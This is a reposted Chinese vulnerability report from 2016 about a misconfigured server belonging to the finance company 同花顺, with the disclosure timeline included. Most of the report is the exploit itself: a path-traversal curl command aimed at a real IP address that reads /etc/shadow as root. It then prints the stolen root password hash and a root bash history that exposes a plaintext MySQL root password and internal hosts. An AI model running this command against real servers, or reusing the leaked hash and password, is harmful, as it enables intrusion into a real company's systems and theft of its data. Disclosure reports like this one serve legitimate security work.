神刀安全网

漏洞标题: 同花顺某服务器配置不当(root权限任意文件读取)

漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

同花顺某服务器配置不当(root权限任意文件读取)

详细说明:

curl http://122.228.73.217:8081/../../../../../../../../etc/shadow

code 区域
root:$6$HsBNvUFk$OBVBzkLslX.mpswLYU4YWj7t8V9JcRHKeH0Db4BLWxiyL6M1BRk.SHizjqkO08bV8dODifCjmToxn56TXSTNR/:16808:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
halt:*:15980:0:99999:7:::
mail:*:15980:0:99999:7:::
uucp:*:15980:0:99999:7:::
operator:*:15980:0:99999:7:::
games:*:15980:0:99999:7:::
gopher:*:15980:0:99999:7:::
ftp:*:15980:0:99999:7:::
nobody:*:15980:0:99999:7:::
vcsa:!!:16808::::::
saslauth:!!:16808::::::
postfix:!!:16808::::::
sshd:!!:16808::::::
mysql:!!:16811::::::
zabbix:!!:16811:0:99999:7:::
ntp:!!:16876::::::

漏洞证明:

/root/.bash_history

code 区域
vim zabbix_agentd.conf 
killall -9 zabbix_agentd
/usr/local/sbin/zabbix_agentd
LANG=en_US.UTF-8;clear
ping 192.168.1.19
LANG=en_US.UTF-8;clear
ps aux | grep mysql
cat /etc/my.cnf
df -h
cd /
ll
cd /hxapp/
ll
LANG=en_US.UTF-8;clear
vim /etc/zabbix/zabbix_agentd.conf
ps uax | grep zabbix_agentd
killall -9 zabbix_agentd
sh /etc/zabbix/start.sh
LANG=en_US.UTF-8;clear
cd /etc/zabbix/scripts/check_mysql_status.sh
ls
cd scripts/
ls
rz
yum install -y lrzsz
rz
cat check_mysql_status.sh
ll /hxdata/mysql/mysql.sock
ps aux | grep mysql
vim check_mysql_status.sh
mysql -uroot -p10jqka -S /var/lib/mysql/mysql.sock
history | mysql
history
cat /etc/my.cnf
ps aux | grep mysqld
ps aux | grep redis
mysql -uroot -p10jqka
mysql -uroot -p10jqka -h 127.0.0.1
mysql -uroot -p10jqka -h 127.0.0.1 -S /var/lib/mysql/mysql.sock
mysql -uroot -p10jqka -h 192.168.1.17

修复方案:

中间件配置

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 同花顺某服务器配置不当(root权限任意文件读取)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址